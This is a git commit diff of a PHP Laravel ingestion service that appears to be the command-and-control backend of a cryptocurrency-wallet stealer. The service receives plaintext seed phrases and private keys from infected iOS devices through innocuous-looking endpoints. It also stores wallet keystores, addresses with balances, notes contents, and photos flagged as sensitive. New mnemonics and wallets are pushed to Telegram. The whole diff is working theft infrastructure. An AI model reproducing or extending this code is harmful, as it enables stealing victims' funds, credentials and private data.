This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
+301 -122
View File
@@ -7,8 +7,10 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -153,11 +155,12 @@ class IngestService
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
@@ -165,7 +168,7 @@ class IngestService
$device->save();
}
return $device;
return $device->refresh();
}
/**
@@ -232,141 +235,207 @@ class IngestService
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
$secret = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
$secret = trim($payload[$key]);
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
if ($secret === null || $secret === '') {
return;
}
$wallet = new Wallet([
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
'mnemonic_hash' => $hash,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
$isNew = ! $row->exists;
$source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source;
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
}
/**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/
public function ingestKeystore(Device $device, ?array $payload): void
{
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
return;
}
$result = $payload['result'];
if (is_string($result)) {
$decoded = json_decode($result, true);
if (is_array($decoded)) {
$result = $decoded;
}
}
if (! is_array($result) && ! is_string($result)) {
return;
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
$source = WalletSource::fromTag($payload['a'] ?? null);
$rows = $this->normalizeStatusAddressRows($payload);
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
$notify = [];
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
if (! is_string($address) || $address === '') {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$chainType = (string) ($row['chain_type'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$balance = $row['balance'] ?? '';
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
if (! is_array($balance) && ! is_string($balance)) {
$balance = '';
}
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->where('source', $source)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
$attrs = ['chain_type' => $chainType];
foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value;
}
if (! $existing) {
$attrs['monitor'] = 0;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
if ($shouldNotify) {
$notify[] = [
'address' => $address,
'chain' => $chainType,
'balance' => $balanceSummary,
'source' => $source,
];
}
unset($addr);
}
if ($notify !== []) {
$this->telegram->notifyNewWallets($device->device_id, $notify);
}
}
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
$list = $payload['list'];
if (! is_array($list)) {
$list = [$list];
}
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
Note::query()->create([
'device_id' => $device->id,
'content' => array_values($list),
]);
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
/**
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
*
* @return array{0: ?int, 1: ?int}
*/
public static function decodeHexCounterPair(mixed $packed): array
{
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
}
/**
* @param array{
* x_hit?: ?int,
* upload_count?: ?int,
* process_index?: ?int,
* text_count?: ?int,
* barcode_count?: ?int
* } $meta
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
$xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
'x_hit' => $xHit,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
}
}
@@ -425,37 +494,43 @@ class IngestService
return null;
}
private function looksLikeMnemonic(string $value): bool
/**
* Normalize `/api/user/status` shapes into address rows.
*
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeStatusAddressRows(array $payload): array
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
$ba = $payload['ba'] ?? null;
if (is_string($ba)) {
$decoded = json_decode($ba, true);
$ba = is_array($decoded) ? $decoded : null;
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
if (is_array($ba)) {
return $this->normalizeBaAddressRows($ba);
}
return $out;
$ad = $payload['ad'] ?? null;
if (is_string($ad)) {
$decoded = json_decode($ad, true);
$ad = is_array($decoded) ? $decoded : null;
}
if (is_array($ad)) {
return $this->normalizeAdAddressRows($ad);
}
if (isset($payload['data']) && is_array($payload['data'])) {
return $this->normalizeLegacyDataRows($payload['data']);
}
return [];
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeBaAddressRows(array $ba): array
{
@@ -464,25 +539,129 @@ class IngestService
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
$balance = [];
$chainType = '';
foreach ($assets as $asset) {
if (! is_array($asset)) {
continue;
}
if ($chainType === '') {
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
}
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$balance[$symbol] = WalletSource::formatBalance(
$asset['balance'] ?? 0,
$asset['decimal'] ?? $asset['decimals'] ?? null
);
}
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
'chain_type' => strtoupper($chainType),
'balance' => $balance,
];
}
return $out;
}
/**
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
* Trust: [ { address, symbol, balance, decimals }, ... ]
*
* @param array<mixed> $ad
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
*/
private function normalizeAdAddressRows(array $ad): array
{
if (array_is_list($ad)) {
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
$byAddr = [];
foreach ($ad as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
if (! isset($byAddr[$address])) {
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chain === '') {
$chain = WalletSource::inferChainType($address);
}
$byAddr[$address] = [
'address' => $address,
'chain_type' => strtoupper($chain),
'balance' => [],
];
}
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
$item['balance'] ?? $item['value'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
);
}
return array_values($byAddr);
}
// Global Wallet: address → opaque scalar (not balance) → store empty string
$out = [];
foreach ($ad as $address => $value) {
if (! is_string($address) || $address === '') {
continue;
}
$out[] = [
'address' => $address,
'chain_type' => WalletSource::inferChainType($address),
'balance' => '',
];
}
return $out;
}
/**
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
*
* @param array<mixed> $data
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeLegacyDataRows(array $data): array
{
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
$out = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
$out[] = [
'address' => $address,
'chain_type' => strtoupper($chainType),
'balance' => [
$symbol => WalletSource::formatBalance(
$item['balance'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
),
],
];
}